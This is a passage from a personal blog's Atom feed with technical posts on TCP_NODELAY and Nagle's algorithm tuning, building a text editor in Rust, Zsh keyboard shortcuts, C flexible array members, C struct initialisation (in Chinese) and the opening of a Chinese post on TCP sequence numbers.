&lt;p&gt;Some contexts where Nagle&#x27;s algorithm won&#x27;t help and TCP_NODELAY should be enabled are:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Highly interactive applications that communicate with a central server (Citrix, networked video games, etc)&lt;&#x2F;li&gt;
&lt;li&gt;Telnet-connected devices Applications using chatty protocols (Telnet, SSL)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;6-how-do-i-figure-out-if-i-should-enable-tcp-nodelay&quot;&gt;6. How Do I Figure Out if I Should Enable TCP_NODELAY?&lt;&#x2F;h4&gt;
&lt;p&gt;There is no simple rule of thumb as this is very dependent on your traffic patterns and application mix, but here&#x27;s a good test you can do if you have ExtraHop. Leave the ExtraHop Discover appliance running to get some baseline data, then look at the TCP stat under your key switches. Are you seeing a high number of &quot;tinygrams&quot; (packets that contain a relatively small payload compared to the overhead associated with the headers required to transfer the data.)&lt;&#x2F;p&gt;
&lt;p&gt;If you see lots of tinygrams or a high number of Nagle Delays as a percentage of overall traffic, then disable TCP_NODELAY that will allow Nagle&#x27;s algorithm to reduce the tinygrams. Again leave the EDA running for some time and then look at the tinygram number, if this number is still very high then enable TCP_NODELAY, indicating Nagle&#x27;s algorithm is not reducing the tinygrams.&lt;&#x2F;p&gt;
&lt;p&gt;Tuning tends to be an iterative process. It takes a some experimentation to know if you should or should not enable TCP_NODELAY, and your needs will change over time as your networking stack and applications grow and change.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;7-how-do-i-know-if-tcp-nodelay-is-helping&quot;&gt;7. How do I know if TCP_NODELAY is helping?&lt;&#x2F;h4&gt;
&lt;p&gt;After enabling TCP_NODELAY to disable Nagle&#x27;s algorithm and going through the process of tuning, if you see a very low number of Nagle Delays as a percentage of overall traffic and a very low number of tinygrams then you know enabling TCP_NODELAY is helping.&lt;&#x2F;p&gt;
&lt;p&gt;Conversely if you see a high number of Nagle Delays as a percentage of overall traffic and a very high number of tinygrams then enabling TCP_NODELAY probably is not the best fit for your use case.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;8-how-can-i-resolve-the-issues-caused-by-nagle-s-algorithm-and-delayed-acks&quot;&gt;8. How can I resolve the issues caused by Nagle&#x27;s algorithm and Delayed ACKs?&lt;&#x2F;h4&gt;
&lt;p&gt;If you have been through the tuning process and are still seeing network congestion issues, you may have problems that can&#x27;t be solved by tweaking your socket settings. However, there are a few more things to try before giving up:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Enable TCP_NODELAY to disable Nagle&#x27;s algorithm via global socket options on the servers&lt;&#x2F;li&gt;
&lt;li&gt;Make profile tweaks on proxy servers and Load Balancers: This is especially relevant if you&#x27;re running applications or environments that only sometimes have highly interactive traffic and chatty protocols. By dynamically switching Nagle&#x27;s Algorithm and TCP_NODELAY on and off at the load balancer level, you can keep even highly heterogeneous traffic mixes running optimally.&lt;&#x2F;li&gt;
&lt;li&gt;Reduce the Delayed ACK timer on your servers and load balancers. Sometimes, this kind of optimization is handled in software, at the application level, but when that&#x27;s not the case, you may still be able to dynamically manage the ACK timer at the server or load balancer level.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;As you&#x27;re making these changes, keep careful watch on your network traffic and see how each tweak impacts congestion.&lt;&#x2F;p&gt;
&lt;p&gt;At ExtraHop, we get to take a detailed look at plenty of enormous corporate networks, and you&#x27;d be surprised how often a major company has purchased hundreds of thousands of dollars in additional network gear unnecessarily because their core protocols, the TCP&#x2F;IP stack, weren&#x27;t optimized for their application traffic mix. It really pays to try optimizing your current environment before throwing more hardware at the problem.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Build Your Text Editor With Rust!</title>
        <published>2024-08-15T00:00:00+00:00</published>
        <updated>2024-08-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/build-your-text-editor-with-rust/"/>
        <id>https://vercel.juzhong.asia/obsidian/build-your-text-editor-with-rust/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/build-your-text-editor-with-rust/">&lt;h1 id=&quot;build-your-text-editor-with-rust&quot;&gt;Build Your Text Editor With Rust!&lt;&#x2F;h1&gt;
&lt;p&gt;If you are new to programming or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rust-lang.org&#x2F;&quot;&gt;Rust&lt;&#x2F;a&gt; or you just want to learn how to build your text editor but are not sure how to, this tutorial is just right for you.&lt;&#x2F;p&gt;
&lt;p&gt;We will build our editor &lt;strong&gt;from scratch so you will get to learn a lot&lt;&#x2F;strong&gt;. I’ll explain each step along the way to make understanding a lot easier. It is less than&lt;strong&gt;1000 lines&lt;&#x2F;strong&gt; of code and it implements all the basic features you expect in a minimal editor, as well as syntax highlighting and a search feature.&lt;&#x2F;p&gt;
&lt;p&gt;It is in 7 parts: from setup (which is this part) to &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-part-2-74e03daef237&quot;&gt;reading keypress and entering “raw mode”&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; ,&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-part-3-b030670fa815&quot;&gt;drawing on the screen and moving the cursor around&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;,&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-part-4-fd4a8b8641f8&quot;&gt;displaying text files (making our program a text view)&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; ,&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-part-5-e363c16f542b&quot;&gt;editing text files, and saving changes&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;,&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-part-6-3cff61dc2de5&quot;&gt;implementing a cool search feature&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; and finally to**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@otukof&#x2F;build-your-text-editor-with-rust-final-part-4c841a649900&quot;&gt;adding syntax highlighting&lt;&#x2F;a&gt;** &lt;strong&gt;.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Our tutorial is largely based on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;viewsourcecode.org&#x2F;snaptoken&#x2F;kilo&#x2F;index.html&quot;&gt;this tutorial written in C &lt;&#x2F;a&gt;so feel free to check it out.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Mastering Zsh Keyboard Shortcuts for Efficient Shell Navigation and Editing</title>
        <published>2024-08-15T00:00:00+00:00</published>
        <updated>2024-08-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing/"/>
        <id>https://vercel.juzhong.asia/obsidian/mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing/">&lt;h1 id=&quot;mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing&quot;&gt;Mastering Zsh Keyboard Shortcuts for Efficient Shell Navigation and Editing&lt;&#x2F;h1&gt;
&lt;p&gt;Efficiency and speed are essential when working in a shell environment. Zsh (Z Shell), a powerful alternative to the standard Bash shell, offers a plethora of keyboard shortcuts that can significantly enhance your productivity. This article will explore a comprehensive list of Zsh keyboard shortcuts for efficient navigation, editing, process management, history retrieval, and mode switching.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shell-keybindings&quot;&gt;Shell Keybindings:&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Navigation 🚀&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Alt + f&#x2F;b — Move cursor to previous&#x2F;next word: Use the Alt key along with the f or b key to navigate the cursor to the previous or next word, respectively. This shortcut allows you to jump quickly through commands or text.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + a&#x2F;e — Move cursor to beginning&#x2F;end of command: Press Ctrl along with the key to move the cursor to the beginning of the command line, or Ctrl with the e key to move it to the end. This is handy when editing a command or accessing a specific part quickly.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + xx — Toggle between the start of the line and the current cursor position: This shortcut lets you switch between the start of the line and the current cursor position with each successive press of Ctrl + xx. It allows for easy navigation and editing within a command.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Editing ✏️&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Ctrl + x,e — Open command in editor: Press Ctrl along with the x and e keys simultaneously to open the current command line in your default editor. This feature comes in handy when you need to make extensive modifications to a command.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + k — Cut till end: Use Ctrl + k to cut (delete) text from the current cursor position until the end of the line. This shortcut is useful when you want to remove a portion of a command quickly.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + u — Delete whole line (zsh)&#x2F;cut until beginning (bash): In Zsh, Ctrl + u deletes the entire line, while in Bash, it cuts (deletes) text from the current cursor position to the beginning of the line. It’s a convenient way to clear the command line entirely or remove unnecessary input.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + w — Delete until beginning (zsh): With Alt + w, you can delete text from the current cursor position to the beginning of the word. It’s useful when you want to delete a specific portion of a word quickly.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + l&#x2F;u — Lowercase&#x2F;Uppercase word: Press Alt along with the l or u key to convert the current word to lowercase or uppercase, respectively. This shortcut simplifies text transformations in commands.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + c — Capitalize Word: Alt + c capitalizes the first character of the current word. It’s useful for quickly adjusting the capitalization of a word in a command.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + w — Cut previous word: This shortcut deletes the previous word, starting from the current cursor position. It’s handy when you want to remove a portion of the command quickly.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + Del — Delete previous word: Alt + Del deletes the word preceding the current cursor position. It’s an alternative shortcut for deleting the previous word.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + d — Delete next word: Use Alt + d to delete the word following the current cursor position. It allows for swift removal of unnecessary text in a command.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + . or !$ — Previous command’s last argument: Alt + . or !$ retrieves the last argument from the previous command. It saves time when you need to reuse or reference the last argument frequently.&lt;&#x2F;li&gt;
&lt;li&gt;!* — All arguments of the previous command: Typing !* retrieves all the arguments from the previous command. It’s useful when you want to reuse multiple arguments from a previous command.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + t — Swap current word with previous: Alt + t swaps the current word with the previous word. It helps in quickly rearranging words in a command.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + t — Swap the last two characters before the cursor (typo): Press Ctrl + t to swap the last two characters before the cursor. It’s convenient for correcting typing mistakes efficiently.&lt;&#x2F;li&gt;
&lt;li&gt;Esc + t — Swap the last two words before the cursor: This shortcut swaps the position of the last two words before the cursor. It simplifies rearranging words in a command.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + y — Paste: Use Ctrl + y to paste (yank) previously cut or copied text back into the command line. It’s useful when you need to reinsert a portion of text that you previously deleted.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + _ — Undo: Press Ctrl + _ to undo the most recent change to the command line. This shortcut is handy when you want to revert an unintended modification.&lt;&#x2F;li&gt;
&lt;li&gt;Alt + r — Cancel the changes, revert: Alt + r cancels any changes made to the current command line and reverts it back to the last saved state. It’s helpful when you want to discard modifications quickly.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Process 📊&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Ctrl + l — Clear screen: Pressing Ctrl + l clears the screen, providing a clean workspace. It’s equivalent to the “clear” command.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + c — Interrupt&#x2F;Kill: Use Ctrl + c to send an interrupt signal to the currently running command, effectively terminating its execution.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + d — Close Current Shell: Press Ctrl + d to close the current shell session. It’s equivalent to typing “exit” or “logout.”&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + z — Background&#x2F;Foreground job: Ctrl + z suspends the currently running foreground job and moves it to the background. You can later bring it back to the foreground using the “fg” command.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;History ⏳&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Ctrl + r — History search: Press Ctrl + r and start typing to search through your command history interactively. It allows you to quickly find and reuse previously executed commands.&lt;&#x2F;li&gt;
&lt;li&gt;Ctrl + s — Go back to the next most recent command: Ctrl + s retrieves the next most recent command from your history. It’s useful when you want to cycle through recently executed commands.&lt;&#x2F;li&gt;
&lt;li&gt;^abc­^­def — Run previous command, replacing abc with def: Typing ^abc^def replaces the first occurrence of “abc” in the previous command with “def” and executes the modified command.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Modes 🕹️&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Ctrl + x,v — vi modes (zsh): Press Ctrl + x followed by v to switch to vi mode in Zsh. This mode allows you to use vi-like keybindings for command-line editing.&lt;&#x2F;li&gt;
&lt;li&gt;set -o vi — Vi mode: Using the “set -o vi” command in your shell enables the vi mode for the current session. It offers powerful editing capabilities similar to the vi text editor.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Mastering keyboard shortcuts in Zsh can significantly improve your productivity and efficiency when working in a shell environment. The shortcuts provided in this article cover various aspects, including navigation, editing, process management, history retrieval, and mode switching. By incorporating these shortcuts into your workflow, you’ll be able to streamline your shell interactions and accomplish tasks more swiftly.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C Language Tutorial =&gt; Flexible Array Members</title>
        <published>2024-08-09T00:00:00+00:00</published>
        <updated>2024-08-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-language-tutorial-flexible-array-members/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-language-tutorial-flexible-array-members/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-language-tutorial-flexible-array-members/">&lt;h1 id=&quot;c-language-tutorial-flexible-array-members&quot;&gt;C Language Tutorial =&amp;gt; Flexible Array Members&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;example&quot;&gt;Example&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;C99&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;type-declaration&quot;&gt;Type Declaration&lt;&#x2F;h2&gt;
&lt;p&gt;A structure &lt;em&gt;with at least one member&lt;&#x2F;em&gt; may additionally contain a single array member of unspecified length at the end of the structure. This is called a flexible array member:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct ex1
{
    size_t foo;
    int flex[];
};

struct ex2_header
{
    int foo;
    char bar;
};

struct ex2
{
    struct ex2_header hdr;
    int flex[];
};

&amp;#x2F;* Merged ex2_header and ex2 structures. *&amp;#x2F;
struct ex3
{
    int foo;
    char bar;
    int flex[];
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;effects-on-size-and-padding&quot;&gt;Effects on Size and Padding&lt;&#x2F;h2&gt;
&lt;p&gt;A flexible array member is treated as having no size when calculating the size of a structure, though padding between that member and the previous member of the structure may still exist:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* Prints &amp;quot;8,8&amp;quot; on my machine, so there is no padding. *&amp;#x2F;
printf(&amp;quot;%zu,%zu\n&amp;quot;, sizeof(size_t), sizeof(struct ex1));

&amp;#x2F;* Also prints &amp;quot;8,8&amp;quot; on my machine, so there is no padding in the ex2 structure itself. *&amp;#x2F;
printf(&amp;quot;%zu,%zu\n&amp;quot;, sizeof(struct ex2_header), sizeof(struct ex2));

&amp;#x2F;* Prints &amp;quot;5,8&amp;quot; on my machine, so there are 3 bytes of padding. *&amp;#x2F;
printf(&amp;quot;%zu,%zu\n&amp;quot;, sizeof(int) + sizeof(char), sizeof(struct ex3));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The flexible array member is considered to have an incomplete array type, so its size cannot be calculated using &lt;code&gt;sizeof&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;&#x2F;h2&gt;
&lt;p&gt;You can declare and initialize an object with a structure type containing a flexible array member, but you must not attempt to initialize the flexible array member since it is treated as if it does not exist. It is forbidden to try to do this, and compile errors will result.&lt;&#x2F;p&gt;
&lt;p&gt;Similarly, you should not attempt to assign a value to any element of a flexible array member when declaring a structure in this way since there may not be enough padding at the end of the structure to allow for any objects required by the flexible array member. The compiler will not necessarily prevent you from doing this, however, so this can lead to undefined behavior.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* invalid: cannot initialize flexible array member *&amp;#x2F;
struct ex1 e1 = {1, {2, 3}};
&amp;#x2F;* invalid: hdr={foo=1, bar=2} OK, but cannot initialize flexible array member *&amp;#x2F;
struct ex2 e2 = {{1, 2}, {3}};
&amp;#x2F;* valid: initialize foo=1, bar=2 members *&amp;#x2F;
struct ex3 e3 = {1, 2};

e1.flex[0] = 3; &amp;#x2F;* undefined behavior, in my case *&amp;#x2F;
e3.flex[0] = 2; &amp;#x2F;* undefined behavior again *&amp;#x2F;
e2.flex[0] = e3.flex[0]; &amp;#x2F;* undefined behavior *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You may instead choose to use &lt;code&gt;malloc&lt;&#x2F;code&gt;, &lt;code&gt;calloc&lt;&#x2F;code&gt;, or &lt;code&gt;realloc&lt;&#x2F;code&gt; to allocate the structure with extra storage and later free it, which allows you to use the flexible array member as you wish:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* valid: allocate an object of structure type `ex1` along with an array of 2 ints *&amp;#x2F;
struct ex1 *pe1 = malloc(sizeof(*pe1) + 2 * sizeof(pe1-&amp;gt;flex[0]));

&amp;#x2F;* valid: allocate an object of structure type ex2 along with an array of 4 ints *&amp;#x2F;
struct ex2 *pe2 = malloc(sizeof(struct ex2) + sizeof(int[4]));

&amp;#x2F;* valid: allocate 5 structure type ex3 objects along with an array of 3 ints per object *&amp;#x2F;
struct ex3 *pe3 = malloc(5 * (sizeof(*pe3) + sizeof(int[3])));

pe1-&amp;gt;flex[0] = 3; &amp;#x2F;* valid *&amp;#x2F;
pe3[0]-&amp;gt;flex[0] = pe1-&amp;gt;flex[0]; &amp;#x2F;* valid *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;C99&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-struct-hack&quot;&gt;The &#x27;struct hack&#x27;&lt;&#x2F;h3&gt;
&lt;p&gt;Flexible array members did not exist prior to C99 and are treated as errors. A common workaround is to declare an array of length 1, a technique called the &#x27;struct hack&#x27;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct ex1
{
    size_t foo;
    int flex[1];
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will affect the size of the structure, however, unlike a true flexible array member:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* Prints &amp;quot;8,4,16&amp;quot; on my machine, signifying that there are 4 bytes of padding. *&amp;#x2F;
printf(&amp;quot;%d,%d,%d\n&amp;quot;, (int)sizeof(size_t), (int)sizeof(int[1]), (int)sizeof(struct ex1));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To use the &lt;code&gt;flex&lt;&#x2F;code&gt; member as a flexible array member, you&#x27;d allocate it with &lt;code&gt;malloc&lt;&#x2F;code&gt; as shown above, except that &lt;code&gt;sizeof(*pe1)&lt;&#x2F;code&gt; (or the equivalent &lt;code&gt;sizeof(struct ex1)&lt;&#x2F;code&gt;) would be replaced with &lt;code&gt;offsetof(struct ex1, flex)&lt;&#x2F;code&gt; or the longer, type-agnostic expression &lt;code&gt;sizeof(*pe1)-sizeof(pe1-&amp;gt;flex)&lt;&#x2F;code&gt;. Alternatively, you might subtract 1 from the desired length of the &quot;flexible&quot; array since it&#x27;s already included in the structure size, assuming the desired length is greater than 0. The same logic may be applied to the other usage examples.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;compatibility&quot;&gt;Compatibility&lt;&#x2F;h2&gt;
&lt;p&gt;If compatibility with compilers that do not support flexible array members is desired, you may use a macro defined like &lt;code&gt;FLEXMEMB_SIZE&lt;&#x2F;code&gt; below:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#if __STDC_VERSION__ &amp;lt; 199901L
#define FLEXMEMB_SIZE 1
#else
#define FLEXMEMB_SIZE &amp;#x2F;* nothing *&amp;#x2F;
#endif

struct ex1
{
    size_t foo;
    int flex[FLEXMEMB_SIZE];
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When allocating objects, you should use the &lt;code&gt;offsetof(struct ex1, flex)&lt;&#x2F;code&gt; form to refer to the structure size (excluding the flexible array member) since it is the only expression that will remain consistent between compilers that support flexible array members and compilers that do not:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct ex1 *pe10 = malloc(offsetof(struct ex1, flex) + n * sizeof(pe10-&amp;gt;flex[0]));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The alternative is to use the preprocessor to conditionally subtract 1 from the specified length. Due to the increased potential for inconsistency and general human error in this form, I moved the logic into a separate function:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct ex1 *ex1_alloc(size_t n)
{
    struct ex1 tmp;
#if __STDC_VERSION__ &amp;lt; 199901L
    if (n != 0)
        n--;
#endif
    return malloc(sizeof(tmp) + n * sizeof(tmp.flex[0]));
}
...

&amp;#x2F;* allocate an ex1 object with &amp;quot;flex&amp;quot; array of length 3 *&amp;#x2F;
struct ex1 *pe1 = ex1_alloc(3);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C语言结构体初始化的四种方法</title>
        <published>2024-08-09T00:00:00+00:00</published>
        <updated>2024-08-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c语言结构体初始化的四种方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/c语言结构体初始化的四种方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c语言结构体初始化的四种方法/">&lt;h1 id=&quot;cyu-yan-jie-gou-ti-chu-shi-hua-de-si-chong-fang-fa&quot;&gt;C语言结构体初始化的四种方法&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;ding-yi&quot;&gt;定义&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;struct InitMember
{
    int first；
    double second；
    char* third；
    float four;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fang-fa-yi-ding-yi-shi-fu-zhi&quot;&gt;方法一：定义时赋值&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;struct InitMember test = {-10,3.141590，&amp;quot;method one&amp;quot;，0.25}；
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要注意对应的顺序，不能错位。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-er-ding-yi-hou-zhu-ge-fu-zhi&quot;&gt;方法二：定义后逐个赋值&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;struct InitMember test；

test.first = -10;
test.second = 3.141590;
test.third = &amp;quot;method two&amp;quot;;
test.four = 0.25;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为是逐个确定的赋值，无所谓顺序啦。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-san-ding-yi-shi-luan-xu-fu-zhi-cfeng-ge&quot;&gt;方法三：定义时乱序赋值（C风格）&lt;&#x2F;h3&gt;
&lt;p&gt;这种方法类似于第一种方法和第二种方法的结合体，既能初始化时赋值，也可以不考虑顺序；&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct InitMember test = {
    .second = 3.141590,
    .third = &amp;quot;method three&amp;quot;,
    .first = -10,
    .four = 0.25
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种方法在Linux内核（kernel）中经常使用，在音视频编解码库FFmpeg中也大量频繁使用，还是很不错的一种方式。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-si-ding-yi-shi-luan-xu-fu-zhi-c-feng-ge&quot;&gt;方法四：定义时乱序赋值（C++风格）&lt;&#x2F;h3&gt;
&lt;p&gt;这种方法和前一种类似，网上称之为C++风格，类似于key-value键值对的方式，同样不考虑顺序。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct InitMember test = {
    second：3.141590,
    third：&amp;quot;method three&amp;quot;,
    first：-10,
    four：0.25
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xie-zai-hou-mian&quot;&gt;写在后面&lt;&#x2F;h3&gt;
&lt;p&gt;其实问题的引出是在分析FFmpeg源代码时，发现大量的结构体乱序赋值初始化的方式，以前在C语言教材上没有发现这种用法，于是学习总结一下，放到这里存档。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>TCP 中的Sequence Number - 四度</title>
        <published>2024-08-05T00:00:00+00:00</published>
        <updated>2024-08-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/tcp-中的sequence-number-四度/"/>
        <id>https://vercel.juzhong.asia/obsidian/tcp-中的sequence-number-四度/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/tcp-中的sequence-number-四度/">&lt;h1 id=&quot;tcp-zhong-de-sequence-number-si-du&quot;&gt;TCP 中的Sequence Number - 四度&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;JenningsMao&#x2F;p&#x2F;9487252.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;JenningsMao&#x2F;p&#x2F;9487252.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;jie-shao&quot;&gt;介绍&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tcp-sequence-number&#x2F;tcp-seq-ack-number.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们关注的就是&lt;strong&gt;序号&lt;&#x2F;strong&gt;和&lt;strong&gt;确认号&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这二者也是 TCP 实现可靠传输的方式。下图是一次随便抓包的截图（相对序列号）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tcp-sequence-number&#x2F;tcp-relative-seq-capture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-yi&quot;&gt;意义&lt;&#x2F;h2&gt;
&lt;p&gt;在TCP传输中，每一个字节都是有序号的，从0开始。通过序号的方式保存数据的顺序，接收端接受到之后进行重新排列成为需要的数据。&lt;&#x2F;p&gt;
&lt;p&gt;因此，我对于SEQ和ACK的了解就是：&lt;&#x2F;p&gt;
&lt;p&gt;SEQ 代表：&lt;strong&gt;发送的这个包中第一个字节（如果有payload的话）的序号&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
